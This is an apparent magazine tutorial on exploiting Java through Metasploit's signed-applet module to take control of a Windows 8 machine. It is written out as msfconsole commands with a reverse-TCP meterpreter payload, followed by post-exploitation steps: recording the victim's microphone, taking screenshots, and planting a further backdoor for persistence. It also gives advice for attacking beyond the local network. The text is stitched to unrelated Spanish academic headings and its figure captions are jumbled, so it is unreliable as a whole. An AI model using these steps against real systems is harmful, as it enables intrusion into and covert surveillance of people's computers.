4. Actividades precedentes que sirven de núcleo al futuro instituto: Méritos científicos
4.1. Proyectos de investigación que han dirigido o en los que han participado las personas que
4.1.2. Contratos: actividades de transferencia al sector industrial o comercial
First You need Backtrack 5 with metasploit or you can download metasploit project for your system
from link below: http://www.rapid7.com/products/
metasploit/download.jsp. Secondly, you need “win-dows 8 preview Build 8400”
Figure 1. Metasploit Console
Figure 2. MSFGUI
Figure 3. Msf console terminal
Now ready For exploiting ??
1 – first, open the terminal and type “msfconsole“
Note
I typed – sudo su – to take root privilage first be-cause I’m not working on backtrack if you’re on backtack just type msfconsole in terminal as shown in Figure 3
Wait for a while and it will be opened, you’ll see a command line starts with MSF> – as shown in the Figure 4.
2 – Secondly, I’ll use an exploit called “Java_signed_
applet” which targets JAVA vulnerable versions and can affect a huge amount of computers.
We’ll type in Msf > search java signed, as shown in Figure 5.
We’ll use the first one exploit/multi/browser/
java_signed_applet to use any exploit in metasploit project type “use” before exploit name. As shown in Figure 6.
Hint
To get more info about the exploit you can type
“info” and you’ll get more information about this
ex-Figure 7. Exploit information Figure 6. Use exploit
Figure 5. Search for java signed applet Figure 4. Msf command line
Listing 1. Exploit Description
Description:
This exploit dynamically creates a .jar file via the
Msf::Exploit::Java mixin, then signs the it. The resulting signed
applet is presented to the victim via a web page with an applet tag.
The victim’s JVM will pop a dialog asking if they trust the signed
applet. On older versions the dialog will display the value of CERTCN in the “Publisher” line. Newer
JVMs display “UNKNOWN”
when
the signature is not trusted (i.e., it’s not signed by a trusted
CA). The SigningCert option allows you to provide a trusted code signing cert, the values in which will
override CERTCN. If SigningCert is not given, a randomly
generated self-signed cert will
be used. Either way, once the user clicks “run”, the applet executes
with full user permissions.
EXPLOITING WITH METASPLOIT
ploit – as shown in Figure 7. Here’s the exploit’s description and I think that now we understand how this exploit works (Listing 1). We need to know what's option for this exploit so we'll type in
“show options” it's included also in info, as shown in Figure 8.
3 – Next, we'll set the SRVHOST which will be the attacker IP. We'll type “ifconfig” in terminal to get internal IP address, as shown in Figure 9 – it's 192.168.1.110.
• We'll type in “set SRVHOST 192.168.1.110”
• We'll set the target which is (1 – Windows x86) because we're going to attack windows machine so type in “set target 1”
• We'll set the LHOST which is Attacker IP and, because it's inside an Internal network, we'll set it with our local IP (192.168.1.110).
Note
If you’d like to attack outside your local network, you need to set your public IP address in LHOST, and enable DMZ on attacker machine or enable port forwarding.
• Now you need to know which payload you’ll use after attacking machine and the most fa-miliar one is meterpreter, so we’ll set the pay-load (windows/meterpreter/reverse_tcp), as shown in Figure 13.
Note
If you’d like to use another payload you can type in
“show payloads” and choose your preferred payload.
• We’ll specify the URI which will be sent to vic-tim machine. I want to make it on the main di-rectory so I’ll type in “set URIPATH /“ as shown in Figure 14.
Note
If you need to specify another URI name you can do it easily by typing in “set URIPATH name” and you can change “name” to your preferred word.
Figure 15. Exploit Figure 14. Set URIPATH Figure 13. Set Payload
Figure 12. Set LHOST Figure 11. Set target Figure 10. set SRVHOST Figure 9. ifconfig Figure 8. Show options
Figure 17. System information Figure 16. Meterpreter
We Can do some commands with victim PC such as capturing screen or recording mic.
First, here’s the first command “sysinfo” – which tell you some information about the system (Figure 17).
We can also see what the processes run at the time in victim machine with “ps” command (Figure 18).
Would you like to hear the victim’s voice?! You can do it with “mic_record” command (Figure 19).
And, if you need to take a screen-shot of victim’s screen you can do it easily by “screenshot” com-mand (Figure 20).
Finally, I tried to upload payload and execute it in victim machine, so, if you want to keep the victim longer with you then you should upload another backdoor to keep in touch with them (Figure 21).
If you need any help with meterpreter just type
“help” and all commands will come up and show in your screen (Figure 22).
AHMED SHERIF EL-DEMRDASH
Information security researcher | PHP Developer | Google Ambassador | Egyptian Malware analyst
Passionate of anything related to in-formation security. For any help don’t hesitate to contact me
[email protected] Twitter: @_ahmadsherif Facebook: fb.com/ahmadsheri
• We’ll type in “exploit” to run it, and it will give us the URI which is our IP address with your pre-ferred URIPATH – Figure 15.
Now, We need to send the URL to a victim ma-chine so we’ll open it with our windows8 mama-chine.
• Finally, a message will appear on victim ma-chine after opening URL. If he/she clicked on Run, a meterpreter sessions will be opened in attacker PC, as shown in Figure 16.
Figure 19. Mic record Figure 18. Processes
Figure 21. Upload executable file
Figure 22. Help
Figure 20. Screen-shot
References
• http://en.wikipedia.org/wiki/Metasploit_project
• http://www.metasploit.com/modules/exploit/multi/
browser/java_signed_applet
• http://www.defcon.org/images/defcon-17/dc-17-pre-sentations/defcon-17-valsmith-metaphish.pdf